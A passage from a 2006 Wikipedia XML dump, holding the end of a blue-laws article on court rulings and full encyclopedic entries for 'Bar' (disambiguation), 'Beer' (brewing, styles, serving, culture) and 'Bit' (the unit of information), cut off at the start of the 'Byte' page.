The [[Supreme Court of Canada]], in the case of ''[[Her Majesty The Queen in Right of Canada v. Big M Drug Mart Ltd.]]'', &lt;nowiki&gt;[&lt;/nowiki&gt;1985&lt;nowiki&gt;]&lt;/nowiki&gt; (1 S.C.R. 295) ruled that the 1906 ''Lord's Day Act'', that required most places to be closed on Sunday did not have a legitimate [[secular]] purpose, and was an unconstitutional attempt to establish a [[religion|religious]]-based closing law in violation of the [[Canadian Charter of Rights and Freedoms]].

The [[Supreme Court of the United States]] held in ''[[McGowan v. Maryland]]'' (1961) that [[Maryland]]'s blue laws violated neither the [[Free Exercise Clause]] nor the [[Establishment Clause]] of the [[First Amendment to the United States Constitution]].  While such laws originated to encourage attendance at [[Christian]] churches, the contemporary Maryland laws were intended to promote the secular values of &quot;health, safety, recreation, and general well-being&quot; through a common day of rest.  That this day coincides with the Christian [[Sabbath]] neither reduces its effectiveness for secular purposes nor prevents adherents of other religions from observing their own holy days.  The status of blue laws vis-à-vis the Free Exercise Clause conceivably would have to be re-evaluated if challenged by an adherent of a religion which required the conduct of commerce on Sunday.

==See also==
*[[Sunday shopping]]

[[Category:Sunday]]
[[Category:Religious law]]</text>
    </revision>
  </page>
  <page>
    <title>Bar</title>
    <id>3360</id>
    <revision>
      <id>41588098</id>
      <timestamp>2006-02-28T09:15:09Z</timestamp>
      <contributor>
        <username>Cain-mi</username>
        <id>269668</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar2|bar|Bar}}
'''Bar''' may mean:
* A pole or stick, often made of wood or metal, sometimes used to mark a height, such as in [[high jump]], or as a handrail, such as in ballet (where the word is usually spelled &quot;[[barre]]&quot;), or as an obstacle.
* [[Candy bar]]
* [[Bar (establishment)]], a retail establishment which serves alcoholic beverages
* [[Bar (counter)]], the counter from which drinks are dispensed
* [[Bar (unit)]], a scientific unit of pressure
* [[Bar (music)]], a period of music.
* [[Bar association]], the community of persons engaged in the practice of law.
* [[Bar (landform)]], a type of beach behind which lies a lagoon.
* [[Bar (diacritic)]], a line through a letter used as a diacritic.
* [[Toolbar]], a visual menu with various icons.
* A [[macron]] over a digit or digits in mathematics used to indicated a [[repeating decimal]].
* The second [[metasyntactic variable]], after foo
* [[Bar (Aramaic)]], a common prefix in New Testament Aramaic names
* An addition to a [[Military decoration]] earned by a subsequent act

'''Places:'''
* [[Bar, Serbia and Montenegro]], a large city in southeastern Montenegro.
* [[Bar, Ukraine]], a fortress in the Podolia region of Ukraine that was once a part of Poland.
* [[Barrois]], the territory of the [[counts and dukes of Bar]]
* [[Bar River]], a tributary to the Meuse River in France.

'''Communes of France''':
* [[Bar, Corrèze]], in the [[Corrèze]], ''département''.
* [[Bar-le-Duc]], in the Meuse ''département''.
* [[Bar-sur-Aube]], in the Aube ''département''.
* [[Bar-sur-Seine]], in the Aube ''département''.

'''BAR''' may stand for:
* [[Bit Aspect Ratio]], a Length (BPI) to Width (TPI) ratio of a magnetic bit, 
* [[British American Racing]], a Formula One racing team.
* [[Browning Automatic Rifle]], a U.S. WWI and WWII military weapon
* [[Buy-American restrictions]], a reference to the Buy American Act
* [[Burn and Rip]], a commonly applied practise for circumventing [[DRM]] and other [[copy protection]] types on [[music]] and [[video]] files downloaded from such online [[music]] services as [[iTunes]],

'''BAR''' may also represent:
* [[Bangor and Aroostook]] railroad, AAR reporting mark
* [[Barbados]], IOC country code

{{disambig}}
&lt;!-- The below are interlanguage links. --&gt;

[[de:Bar]]
[[es:Bar]]
[[fr:Bar]]
[[gl:Bar]]
[[ko:바]]
[[it:Bar]]
[[nl:Bar]]
[[ja:バール]]
[[pl:Bar]]
[[pt:Bar]]
[[ru:Бар]]
[[sl:Bar]]
[[fi:BAR]]
[[sv:Bar]]</text>
    </revision>
  </page>
  <page>
    <title>Beer</title>
    <id>3363</id>
    <revision>
      <id>42140474</id>
      <timestamp>2006-03-04T02:13:42Z</timestamp>
      <contributor>
        <username>Mhking</username>
        <id>262806</id>
      </contributor>
      <comment>Revert to revision 42022383 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{dablink|This article is about the beverage; for the village in [[Devon]], [[England]], see [[Beer, Devon]]. See also [[beer (disambiguation)]].}}

'''Beer''', generally, is an [[alcoholic beverage]] produced through the [[fermentation]] of [[sugar]]s suspended in an [[aqueous]] medium, and which is not [[distillation|distilled]] after fermentation. The unfermented sugar solution, called [[wort]], is obtained from steeping, or &quot;mashing,&quot; [[malt|malted]] [[cereal|grains]], usually [[barley]].  Alcoholic beverages made from the fermentation of sugars derived from non-grain sources &amp;mdash; fruit juices or honey, for example &amp;mdash; are generally not called &quot;beer,&quot; despite being produced by the same [[yeast]]-based biochemical reaction. 

The process of beer production is called [[brewing]]. Because the ingredients used to make beer differ from place to place, beer characteristics such as [[taste]] and [[color]] vary widely, and consequently its [[Beer style|style]] or classification.

Brewing dates back to at least the 5th millennium BC (prior even to [[writing]]), and is recorded in the written history of [[Ancient Egypt]] and [[Mesopotamia]]. 

Beer is considered to be a social lubricant in many societies. Various social traditions and activities are associated with beer drinking, such as buying a round, pub crawling, or various pub games. 

There are a number of [[Beer#Related beverages|related beverages]] such as [[kvass]], [[sahti]] and [[pulque]].


[[Image:Beer.jpg|thumb|180px|A mug of golden [[lager beer]].]]

[[Image:Achel_beer_and_glass.jpg|right|thumb|180px|Achel trappist beer with glass]]

==History==
[[Image:Girl making beer.jpg|thumb|right|80px|Egyptian woman making beer (Cairo Museum)]] {{main|History of beer}}

Beer is one of the oldest beverages humans have produced, dating back to at least the [[5th millennium BC]] and recorded in the written history of [[Ancient Egypt]] and [[Mesopotamia]]. In [[Classical Greece]] and [[Rome]] wine was the usual alcoholic beverage and beer was little known, except as a drink favoured by foreigners ([[barbarian]]s) of the Middle East and northern Europe. [[Gaius Cornelius Tacitus|Tacitus]] wrote disparagingly of the beer brewed by the [[Germanic peoples]] of his day, but documentary evidence (e.g. from [[Vindolanda]]) shows that Roman troops serving in northern and central Europe customarily drank local types of beer.

Beer largely remained a [[homemaker]]'s activity, made in the home in [[medieval]] times. By the [[14th century|14th]] and [[15th century|15th centuries]], beermaking was gradually changing from a family-oriented activity to an artisan one, with [[pub]]s and [[monastery|monasteries]] brewing their own beer for mass consumption. 

Today, the [[brewing industry]] is a huge global [[business]], consisting of several [[Multinational corporation|multinational companies]], and many thousands of smaller producers ranging from [[brewpub]]s to [[regional brewery|regional breweries]].

== The brewing process ==
:''For a full explanation see [[Brewing]]''

Though the process of [[brewing]] beer is complex and varies considerably, the basic stages that are consistent are outlined below.  There may be additional filtration steps between stages.
[[Image:The Brewer designed and engraved in the Sixteenth. Century by J Amman.png|thumb|left|200px]]
# '''Mashing''': The first phase of brewing, in which the malted grains are crushed and soaked in warm water in order to create a malt extract.  The mash is held at constant temperature long enough for enzymes to convert starches into fermentable sugars.  
# '''Sparging''':  Water is filtered through the mash to dissolve  the sugars.  The darker, sugar-heavy liquid is called the [[wort]].
# '''Boiling''': The [[wort]] is boiled along with any remaining ingredients (excluding yeast), to remove excess water and kill any [[microorganism]]s. The hops (whole, pelleted, or extract) are added at some stage during the boil.
# '''Fermentation''': The yeast is added (or ''&quot;pitched&quot;'') and the beer is left to ferment.  After primary fermentation, the beer may be allowed a second fermentation, which allows further settling of yeast and other particulate matter ''&quot;trub&quot;'' which may have been introduced earlier in the process.  Some brewers may skip the secondary fermentation and simply filter off the yeast.
# '''Packaging''': At this point, the beer contains alcohol, but not much carbon dioxide.  The brewer has a few options to increase carbon dioxide levels.  The most common approach by large-scale brewers is force [[carbonation]], via the direct addition of [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]] gas to the [[keg]] or bottle.  Smaller-scale or more classically-minded brewers will add extra (''&quot;priming&quot;'') sugar or a small amount of newly fermenting wort (''&quot;kräusen&quot;'') to the final vessel, resulting in a short refermentation known as ''&quot;cask-&quot;'' or ''&quot;bottle conditioning&quot;''.

After brewing, the beer is usually a finished product.  At this point the beer is [[keg]]ged, [[Cask ale|cask]]ed, [[bottle]]d, or [[aluminium can|can]]ned.

Unfiltered beers may be stored for further fermentation in conditioning tanks, casks or bottles to allow smoothing of harsh alcohol notes, integration of heavy hop flavours, and/or the introduction of oxidised notes such as wine or sherry flavours.  Some beer enthusiasts consider a long conditioning period attractive for various strong beers such as [[Barley wine]]s. There are some beer cafes in Europe, such as Kulminator in Antwerp, which stock beers aged ten years or more. Aged beers such as ''Bass Kings Ale'' from 1902, ''Courage Imperial Russian Stout'' and ''Thomas Hardys Ale'' are particularly valued.

== Ingredients ==
{{main articles|[[Hops]],[[Saccharomyces cerevisiae]], [[Brewer's yeast]], [[Malt]] and [[Barley]]}}
The main ingredients of beer are [[water]], [[malt]]ed [[barley]], [[hops]] and [[yeast]].  Other ingredients, such as flavouring or sources of [[sugar]], are called [[adjunct (beer)|adjuncts]] and are commonly used;  common adjuncts are corn and sugar.  These starches convert in the mashing process to easily fermentable sugars that serve to increase the alcohol content of beer while adding little body or flavor.  Major American breweries use relatively high percentages of adjuncts in order to produce very light-bodied beer at 4-5% alcohol by volume.
[[Image:Sjb whiskey malt.jpg|right|thumb|Malted barley]]

#'''Water''': Because beer is composed mainly of water, the source of the water and its characteristics have an important effect on the character of the beer.  Many beer styles were influenced or even determined by the characteristics of the water in the region.  Although the effect of, and interactions between, various dissolved minerals in brewing water is complex, as a general rule, hard water is more suited to dark styles such as stouts or porters, while very soft water is more suited for brewing light-colored beers, such as pilsners.
#'''Malt''': Among malts, barley malt is the most widely used owing to its high [[amylase]] content, a [[digestion|digestive]] [[enzyme]] which facilitates the breakdown of the starch into sugars.  However, depending on what can be [[cultivation|cultivated]] locally, other malted and unmalted grains are also commonly used, including [[wheat]], [[rice]], [[oat]]s, and [[rye]], and less frequently, [[maize]] and [[sorghum]]. Malt is formed from grain by soaking it in water, allowing it to start to germinate, and then drying the germinated grain in a kiln.  Malting the grain produces the enzymes that will eventually convert the starches in the grain into fermentable sugars. Different roasting times and temperatures are used to produce different colors of malt from the same grain.  Darker malts will produce darker beers.  In most cases, two or more types of malt are combined when making modern beers.[[Image:Crushed hop.jpg|right|thumb|Crushed hops used for lambic brewing]]
#'''Hops''': Hops have commonly been used as a bittering agent in beer since the seventeenth century. [[Hop (plant)|Hop]]s contain several characteristics very favorable to beer: (a) hops contribute a [[bitter (taste)|bitterness]] that balances the sweetness of the malt, (b) hops also contribute aromas which range from flowery to citrus to herbal, (c) hops have an [[antibiotic]] effect that favours the activity of brewer's yeast over less desirable microorganisms and (d) the use of hops aids in &quot;head retention&quot;, the length of time that foamy head created by the beer's carbonation agent will last.  The bitterness of commercially-brewed beers is measured on the [[International Bitterness Units scale]]. While hops plants are grown by farmers all around the world in many different varieties, there is no major commercial use for hops other than in beer.
#'''Yeast''': is a microorganism that is responsible for fermentation. A specific strain of [[yeast]] is chosen depending on the type of beer being produced, the two main strains being [[ale]] yeast (''[[saccharomyces cerevisiae]]'') and [[lager]] yeast (''[[saccharomyces uvarum]]''), with some other variations available, such as [[brettanomyces]] and [[Torulaspora delbrueckii]]. Yeast will [[metabolism|metabolise]] the sugars extracted from the grains, and produce [[Ethanol|alcohol]] and [[carbon dioxide]] as a result. Before yeast's functions were understood, all fermentations were conducted naturally using wild or airborne yeasts known by the name &quot;godisgood&quot;; although a few styles such as [[lambic]]s still rely on this ancient method, most modern fermentations are conducted using pure yeast [[Microbiological culture|cultures]]. On average, beer's alcohol content is between 4% and 6% [[alcohol by volume]], although it can be as low as 2% and as high as 14% under ordinary circumstances and several brewers claim to make beers that are upwards of 20%.
#'''Clarifying agent''': Some brewers add one or more [[clarity|clarifying]] agents to beer that are not required to be published as ingredients. Common examples of these include [[Isinglass]] finings, obtained from [[swimbladder]]s of [[fish]]; kappa [[carrageenan]], derived from seaweed; [[Irish moss]], a type of [[red alga]]; and [[gelatin]].  Since these ingredients may be derived from [[animal]]s, those concerned with the use or consumption of animal products should obtain specific details of the filtration process from the brewer.

== Varieties of beer ==
: ''Main article: [[Beer style]]''

There are many different types of beer, each of which is said to belong to a particular ''style''. A beer's style is a label that describes the overall flavour and often the origin of a beer, according to a system that has evolved by trial and error over many centuries.

A major component of determining the type of beer is the yeast used in the fermentation process. Most beer styles fall into one of two large families: ''ale'', using [[top-fermenting yeast]], or ''lager'', using [[bottom-fermenting yeast]].  Beers that blend the characteristics of ales and lagers are referred to as ''hybrids''.
Alcoholic beverages made from the fermentation of sugars derived from non-grain sources are generally not called &quot;beer,&quot; despite being produced by the same [[yeast]]-based biochemical reaction.  Fermented honey is called ''[[mead]]'', fermented apple juice is called ''[[cider]]'', fermented pear juice is called ''[[perry]]'', and fermented grape juice is called ''[[wine]]''.

===Ale===
: ''Main article: [[Ale]]''

A modern [[ale]] is commonly defined by the strain of yeast used and the fermenting temperature.

====Strain of Yeast====
An ale yeast is normally considered to be a [[top-fermenting yeast]], though a number of British brewers, such as [[Fullers]] and [[Weltons]], use ale yeast strains that settle at the bottom. Common features of ale yeasts regardless of top or bottom fermentation is that they ferment quicker than lager yeasts, they convert less of the sugar into alcohol (giving a sweeter, fuller body) and they produce more [[esters]] (which give a fruity taste) and diacetyl (which gives a buttery taste).
[[Image:Porter_zywiec.jpg|left|thumb|Żywiec Porter (Brewed in [[Żywiec]], [[Poland]])]]

====Fermenting Temperature====
Ale is typically fermented at higher temperatures than lager beer (15&amp;ndash;23[[celsius|°C]], 60&amp;ndash;75[[fahrenheit|°F]]). Ale yeasts at these temperatures produce significant amounts of [[ester]]s and other secondary flavor and aroma products, and the result is a beer with slightly &quot;fruity&quot; compounds resembling but not limited to [[apple]], [[pear]], [[pineapple]], [[banana]], [[plum]], or [[prune]].

====Stylistic Difference to [[Lager]]====
Stylistic differences between some ales and lagers can be difficult to categorize. [[Steam beer]], [[Kölsch (beer)|Kölsch]] and some modern British Golden Summer Beers are seen as [[Beer#Hybrid beers|hybrids]], using elements of both lager and ale production. Baltic Porter and Bière de Garde may be produced by either lager or ale methods or a combination of both.
However, commonly, lager is perceived to be cleaner tasting, dryer and lighter in the mouth than ale.

===Lager===
: ''Main article: [[Lager]]''

[[Lager]]s are the most commonly-consumed category of beer in the world. They are of [[Central Europe]]an origin, taking their name from the [[German language|German]] ''lagern'' (&quot;to store&quot;). Lager yeast is a [[bottom-fermenting yeast]], and typically undergoes primary fermentation at 7-12°C (45-55°F) (the &quot;fermentation phase&quot;), and then is given a long secondary fermentation at 0-4°C (30-40°F) (the &quot;lagering phase&quot;). During the secondary stage, the lager clears and mellows. The cooler conditions also inhibit the natural production of [[ester]]s and other byproducts, resulting in a &quot;crisper&quot; tasting beer.

Modern  methods of producing lager were pioneered by [[Gabriel Sedlmayr]] the Younger, who perfected dark brown lagers at the [[Spaten Brewery]] in [[Bavaria]], and [[Anton Dreher]], who began brewing a lager, probably of amber-red color, in [[Vienna]] in 1840&amp;ndash;1841. With modern improved fermentation control, most lager breweries use only short periods of cold storage, typically 1&amp;ndash;3 weeks.

In terms of volume, most of today's lager is based on the [[Pilsner]] style, pioneered in 1842 in the town of [[Plzen|Plzeň]], in the [[Czech beer|Czech Republic]]. The modern Pilsner lager is light in colour and high in carbonation, with a strong hop flavour and an alcohol content of 3&amp;ndash;6% [[alcohol by volume|by volume]]. The [[Pilsner Urquell]] or [[Heineken]] brands of beer are typical examples of pilsner beer.

===Spontaneous fermentation===
:''Main article: [[Lambic]]''

These are beers which use wild yeasts, rather than cultivated ones. All beers before the cultivation of yeast in the 19th century were closer to this style, characterised by their [[sour]] flavours.

===Hybrid beers===
Hybrid or mixed style beers use modern techniques and materials instead of, or in addition to, traditional aspects of brewing. Although there is some variation among sources, mixed beers generally fall into the following categories:

[[Image:Grafenwalder.jpg|thumb|right|Grafenwalder]]

* [[Fruit beer]]s and [[vegetable beer]]s are mixed with some kind of fermentable [[fruit]] or [[vegetable]] [[adjunct (beer)|adjunct]] during the fermentation process, providing obvious yet harmonious qualities.
* [[Herb beer|Herb]] and [[spiced beer]]s add [[herb]]s or [[spice]]s derived from [[root]]s, [[seed]]s, [[leaf|leaves]], fruits, vegetables, or [[flower]]s instead of, or in addition to, [[hop (plant)|hops]].
* Wood-aged beers are any traditional or experimental beer that has been aged in a wooden [[barrel]], or have been in contact with wood (in the form of chips, cubes, or &quot;beans&quot;) for a period of time ([[Oak]] is the most common). Oftentimes, the barrel or wood will be treated first with some variety of spirit or other alcoholic beverage--usage of bourbon, scotch and sherry are common.
* [[Smoked beer]]s are any beer whose malt has been smoked. A smoky aroma and flavour is usually present. The most traditional examples of this style are the [[Rauchbier]]s of Bamberg, Germany. However, many brewers outside of Germany--most notably American craft brewers--have been adding smoked malt to porters, Scotch ale and a variety of other styles.
* [[Specialty beers]] are a catch-all category used to describe any beers brewed using unusual fermentable sugars, grains and starches.

==Draught and keg beers==
[[Image:Keg Fonts.jpg|right|thumb|200px|Draught beer keg fonts at the Delirium Café in Brussels]]
{{main articles|[[Draught beer]], [[Widget (beer)]] and [[Keg beer]]}}
'''Draught beer''' from a pressurised [[keg]] is the most common dispense method in bars around the world. A metal keg is pressurised with [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;) gas which drives the beer to the dispensing tap or faucet. Some beers, such as [[Guinness]], may be served with a nitrogen/carbon dioxide mixture, rather than standard carbon dioxide, in order to obtain what many feel is a creamier [[mouthfeel]]. These beers may be served in two stages, with a pause to allow settling. 

In the 1980s Guinness introduced the [[Widget (beer)|beer widget]], a nitrogen pressurised ball inside a can which imitates the foamy head created by draught beer. Other breweries followed, using the words &quot;draft&quot; and &quot;draught&quot; as marketing terms to describe such [[aluminum can|canned]] or [[bottle]]d beers containing a beer widget.

==Cask ales==
[[Image:GravityTap.jpg|left|thumb|Schlenkerla Rauchbier direct from the cask]]
{{Main|Cask ale}} 
'''Cask ales''' are unfiltered and unpasteurised. When the landlord feels the beer has settled, and he is ready to serve it, he will knock a soft [[spile]] into a [[bunghole]] on the side of the cask. The major difference in appearance between a keg and a cask is the bunghole. A keg does not have a bunghole on the side. 

The soft spile in the bunghole allows gas to vent off. This can be seen by the bubbles foaming around the spile. The landlord will periodically check the bubbles by wiping the spile clean and then watching to see how fast the bubbles reform. There still has to be some life in the beer otherwise it really will taste flat, but too much life and the beer will taste hard or fizzy. When the beer is judged to be ready, the landlord will replace the soft spile with a hard one (which doesn’t allow air in or gas out) and let the beer settle for 24 hours. He will also knock a tap into the end of the cask. This might simply be a tap if the cask is stored behind the bar. The beer will then be served simply under gravity pressure: turn on the tap, and the beer comes out. But if the cask is in the cellar, the beer needs to travel via tubes, or beer lines, up to the bar area using a beer engine.

==Bottle conditioned beers==
'''[[Bottle conditioned]]''' beers are unfiltered and unpasteurised. It is usually recommended that the beer is poured slowly, leaving any yeast sediment at the bottom of the bottle. However, some drinkers prefer to pour in the yeast, and this practise is customary with [[wheat beer]]s.  Typically when serving a [[hefeweizen]] 90% of the contents is poured and the remainder swirled to dissolve the sediment before pouring it into the glass.

==Beer culture==
[[Image:Gambrinus.jpg|right|thumb|[[Gambrinus]] - king of beer]]
=== Beer in a social context ===
{{see also|Pub games|Pub crawl|Public house}}

Beer is considered to be a social lubricant in many societies. Various social traditions and activities are associated with beer drinking, such as beer bongs, beer pong, and quarters. Consumption in isolation and excess may be associated with people &quot;drowning their sorrows,&quot; while drinking in excess in company may be associated with [[binge drinking]].

===Beer around the world===
Beer is consumed in countries all over the world. There are breweries in Middle Eastern countries such as Iraq and Syria as well as African countries and remote countries such as Mongolia. For more details see:-

:''Main article: [[Beer and nationality]]''

===Serving===


====Temperature====
The conditions of serving have an influence on a drinker's experience.  An important factor is [[temperature]]:  colder temperatures start to inhibit the chemical senses of the [[tongue]] and [[throat]], which narrow down the flavour profile of a beer, allowing delicate, fully attenuated beers such as Pilsners and Pale lagers to be appreciated for their crispness, but preventing the more rounded flavours of an ale or a stout to be perceived. While there are no firmly agreed principles for all cases, a general approach is that lighter coloured beers, such as Pale lagers, are best served cold (40-45F/4-7C), while dark, strong beers such as Imperial Stouts should be served at cellar temperature (54-60F/12-16C) and then allowed to warm up in the room to individual taste. And beers between these two extremes should be served at temperatures between these extremes.

====Glassware====
An appropriate glass is considered desirable by some beer drinkers.  Some drinkers of beer may sometimes drink straight from the bottle or can, while others may pour their beer into a vessel before imbibing.  Drinking out of a bottle inhibits [[aroma]]s picked up by the [[nose]], so if a drinker wishes to appreciate a beer's aroma, the beer is first poured into a glass, mug, tankard, or [[beer stein|stein]].  As with wine, there are specialized styles of glassware for some styles of beer, and some breweries even produce glassware intended for their own beers.  Some aficionados claim that the shape and material of the vessel influences the perception of the aroma and the way in which the beer settles, similar to claims by drinkers of [[brandy]] or [[Cognac (drink)|cognac]]. Some drinkers in Britain prefer their ale to be served in [[Pewter|pewter]] [[Tankard|tankards]], while in Europe it is common for glasses to be rinsed just before beer is poured into them. While glass is completely non-porous, its surface can retain oil from the skin, aerosolized oil from nearby cooking, and traces of fat from food. When these oils come in contact with beer there is a significant reduction in the amount of head (foam) that is found on the beer, and the bubbles will tend to stick to the side of the glass rather than rising to the surface as normal. 

[[Image:Manet, Edouard - La Serveuse de Bocks (The Waitress), 1879.jpg|thumb|''The Waitress'' (1879) by [[Edouard Manet]].]]

====Pouring====
The pouring process has an influence on a beer's presentation.  The rate of flow from the [[Tap (valve)|tap]] or other serving vessel, tilt of the glass, and position of the pour (in the center or down the side) into the glass all influence the end result, such as the size and longevity of the head, lacing (the pattern left by the head as it moves down the glass as the beer is drunk), and [[turbulence]] of the beer and its release of [[carbonation]]. Heavily carbonated beers such as German pilsners or weissbiers may need settling time before serving, however many Weissbiers are served with the addition of the remaining yeast at the bottom of the bottle to add both flavor and color.

A recent advertising campaign states that &quot;it takes 119.6 seconds to pour the perfect pint&quot; of [[Guinness]]. While this method of slow pouring is done in Ireland and the UK, some American bars seem to ignore the customers requisite for a 'slow pour'.

===Rating beer===
{{main|Rating beer}}
Rating beer is a recent craze that combines the enjoyment of [[beer]] drinking with the hobby of [[collecting]]. People drink beer and then record their scores and comments on various internet websites. This is a worldwide activity and people in the [[USA]] will swap bottles of beer with people living in [[New Zealand]] and [[Russia]]. People's scores may be tallied together to create lists of the most popular beers in each country as well as the most highly rated beers in the world.

=== Health effects ===
{{main articles|[[Alcohol consumption and health]] and [[Beer belly]]}}
Beer contains alcohol which has a number of health risks and benefits.  However, beer includes a wide variety of other agents that are currently undergoing scientific evaluation.

Nutritionally, beer can contain significant amounts of [[magnesium]], [[selenium]], [[potassium]], [[phosphorus]], [[biotin]], and [[B vitamins]].  Typically, the darker the brew, the more nutrient dense.

A 2005 Japanese study found that [[non-alcoholic beer]] may possess strong anti-cancer properties. [http://www.msnbc.msn.com/id/6853732/]. Another study found non-alcoholic beer to mirror the cardiovascular benefits associated with moderate consumption of alcoholic beverages. [http://www.foodnavigator.com/news/ng.asp?id=52157-double-benefit-from]

It is considered that over-eating and lack of muscle tone is the main cause of a [[beer belly]], rather than beer consumption.

== Related beverages ==
* [[Africa]]: Hundreds of local drinks made from [[millet]], [[sorghum]], and other available starch crops.
* [[Andes]], [[South America]]: [[Chicha]], an Andean beverage made from germinated [[maize]].
* [[Armenia]]: [[Kotayk]] is brewed as lager, special, dark, light and non-alcoholic beers. 
* [[Bhutan]], [[Nepal]], [[Tibet]] and [[Sikkim]]: [[Chhaang]], a popular semi-fermented rice/millet drink in the eastern [[Himalaya]].
* [[China]]: [[Chinese wine|Jiǔ]], primarily [[grain]]-based fermented drinks.
* [[Finland]]: [[Sahti]], a traditional Finnish beer.
* [[Japan]]: [[Sake]], a primarily [[rice]]-based fermented drink, similar in many respects to Chinese ''jiǔ''.
* [[Korea]]: [[Soju]]
* [[Mexico]]: [[Pulque]], an indigenous beer made from the fermented sap of the [[agave]] plant.
* [[Russia]]/[[Ukraine]]: [[Kvass]], a fermented non-alcoholic or mildly alcoholic beverage.
* Various regions: [[Rye beer]], [[mead]] (made from water and [[honey]]), [[cider]] (made from [[apple juice]])
* Some [[Celtic]] peoples of the European Iron Age drank, according to some classical sources, a type of beer known as korma.


== See also ==
{{commons|Beer}}
{{wikibooks|Brewing}}
* [[Brewery]]
* [[Brewing]]
* [[History of beer]]
* [[Homebrewing]]
* [[List of breweries]] and [[:Category:Brewers and breweries]]
* [[List of commercial brands of beer]] and [[:Category:Brands of beer]]
* [[Non-alcoholic beer]]
* [[Reinheitsgebot]]
* [[Vores Øl]] - An Open Source Beer
* [[List of countries ordered by per capita beer consumption]]

==External links==
*[http://www.ratebeer.com/ RateBeer] 
*[http://www.BeerAdvocate.com Beer Advocate]
*[http://la.wikipedia.org/wiki/Cervisia Cervisia] in the Latin Vicipaedia, for the names of local types of beer in Roman times
*{{dmoz|Recreation/Food/Drink/Beer/|Beer}}

==References==
* ''The Complete Guide to World Beer'', Roger Protz. ISBN 1844428656.
* ''The Barbarian's Beverage: a history of beer in ancient Europe'', Max Nelson. ISBN 0415311217.
* ''The World Guide to Beer'', Michael Jackson. ISBN 1850760004 
* ''Beer: The Story of the Pint'', Martyn Cornell. ISBN 0755311655 
* ''Beer and Britannia: An Inebriated History of Britain'', Peter Haydon. ISBN 0750927488 
* ''The Book of Beer Knowledge: Essential Wisdom for the Discerning Drinker, a Useful Miscellany'', Jeff Evans. ISBN 1852491981 
* ''Country House Brewing in England, 1500-1900'', Pamela Sambrook. ISBN 1852851279 
* ''Ale, Beer and Brewsters in England: Women's Work in a Changing World, 1300-1600 '', Judith M. Bennett. ISBN 0195126505 
* ''A History of Beer and Brewing'', I. Hornsey. ISBN 0854046305 
* ''Beer: an Illustrated History'', Brian Glover. ISBN 1840385979 
* ''Beer in America: The Early Years 1587-1840 - Beer's Role in the Settling of America and the Birth of a Nation'', Gregg Smith. ISBN 0937381659 
* ''Big Book of Beer'', Adrian Tierney-Jones. ISBN 1852492120 
* ''Gone for a Burton: Memories from a Great British Heritage'', Bob Ricketts. ISBN 1905203691
* ''Farmhouse Ales: Culture and Craftsmanship in the Belgian Tradition'', Phil Marowski. ISBN 0937381845 
* ''Man Walks into a Pub: A Sociable History of Beer'', Pete Brown. ISBN 140500553X (Considered to be popular and amusing but inaccurate and unreliable. CAMRA have boycotted the book)
* ''The World Encyclopedia of Beer'', Brian Glover. ISBN 0754809331 
  




[[Category:Beer|*]]


{{Link FA|li}}
{{Link FA|pl}}

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[[zh:啤酒]]</text>
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  </page>
  <page>
    <title>Bit</title>
    <id>3364</id>
    <revision>
      <id>42121773</id>
      <timestamp>2006-03-03T23:36:31Z</timestamp>
      <contributor>
        <username>Gunblade</username>
        <id>284024</id>
      </contributor>
      <comment>reverted from vandalism</comment>
      <text xml:space="preserve">{{Quantities of bits}}

{{otheruses1|the unit of information}}

A '''bit''' refers to a [[numerical digit|digit]] in the [[binary numeral system]] ([[base (mathematics)|base]] 2). For example, the number 1001011 is 7 bits long. The unit is sometimes abbreviated to '''b''' (but see below).

Binary digits are almost always used as the basic unit of [[information]] [[computer storage|storage]] and [[transmission (telecommunications)|communication]] in digital [[computing]] and digital [[information theory]].  Information theory also often uses the natural digit, called either a ''[[Nit (unit of information)|nit]]'' or a ''[[Nat (information)|nat]]''.

== History and explanation ==
[[Claude E. Shannon]] first used the word ''bit'' in a 1948 paper. Shannon's ''bit'' is a [[portmanteau|portmanteau word]] for '''b'''inary dig'''it''' (or possibly '''bi'''nary uni'''t'''). He attributed its origin to [[John W. Tukey]].

A bit is like a light switch; it can be either on or off. A single bit is a one or a zero, a true or a false, a &quot;flag&quot; which is &quot;on&quot; or &quot;off&quot;, or in general, the quantity of information required to distinguish two mutually exclusive ''[[State (computer science)|state]]s'' from each other. 

The bit is the smallest unit of storage currently used in computing, although much research is ongoing in [[quantum computing]] with [[qubit]]s.

== More than one bit ==
A [[byte]] is a collection of bits, originally variable in size but now almost always eight bits. Eight-bit bytes, also known as ''[[octet (computing)|octet]]s'', can represent 256 values (2&lt;sup&gt;8&lt;/sup&gt; values, 0–255). A four-bit quantity is known as a ''[[nibble]]'', and can represent 16 values (2&lt;sup&gt;4&lt;/sup&gt; values, 0–15).

&quot;[[Word (computer science)|Word]]&quot; is a term for a slightly larger group of bits, but it has no standard size.  In the [[IA-32]] architecture, 16 bits are called a &quot;word&quot; (with 32 bits being a &quot;double word&quot; or dword), but other architectures have word sizes of 32, 64 or others.

Terms for large quantities of bits can be formed using the standard range of prefixes, e.g., [[kilo]]bit ([[kbit]]), [[mega]]bit ([[Mbit]]) and [[giga]]bit ([[Gbit]]). Note that much confusion exists regarding these units and their abbreviations, see [[binary prefix]]es. It has often been recommended to use &quot;bit&quot; for the bit and &quot;b&quot; for the byte, to prevent confusion with the unit bel, B.  However, &quot;b&quot; is often used for bit and &quot;B&quot; for byte.  The [[International Electrotechnical Commission|IEC]] recommends to use only &quot;bit&quot; and &quot;B&quot; for maximum disambiguation.  Since the bel is almost never used by itself (only used as a [[decibel]], dB) the chances of conflict are small.

Certain [[bitwise operation|bitwise]] computer [[central processing unit|processor]] instructions (such as [[xor]]) operate at the level of manipulating bits rather than manipulating data interpreted as an aggregate of bits.

[[Telecommunications]] or [[computer network]] transfer rates are usually described in terms of [[bits per second]] (not to be confused with [[baud]]).

== See also ==
*[[Integral data type]]
*[[Bitstream]]
*[[Information entropy]]
*[[Qubit]]
*[[Binary arithmetic]]

[[Category:Units of information]]
[[Category:Computing portmanteaus]]

&lt;!-- interwiki --&gt;

[[ast:Bit]]
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[[ja:ビット]]
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[[th:บิต]]
[[vi:Bit]]
[[tr:Bit (bilişim)]]
[[zh:位]]</text>
    </revision>
  </page>
  <page>
    <title>Byte</title>
    <id>3365</id>
    <revision>
      <id>41793205</id>
      <timestamp>2006-03-01T20:10:56Z</timestamp>
      <contributor>
        <username>Johnteslade</username>
        <id>102856</id>
      </contributor>
      <minor />
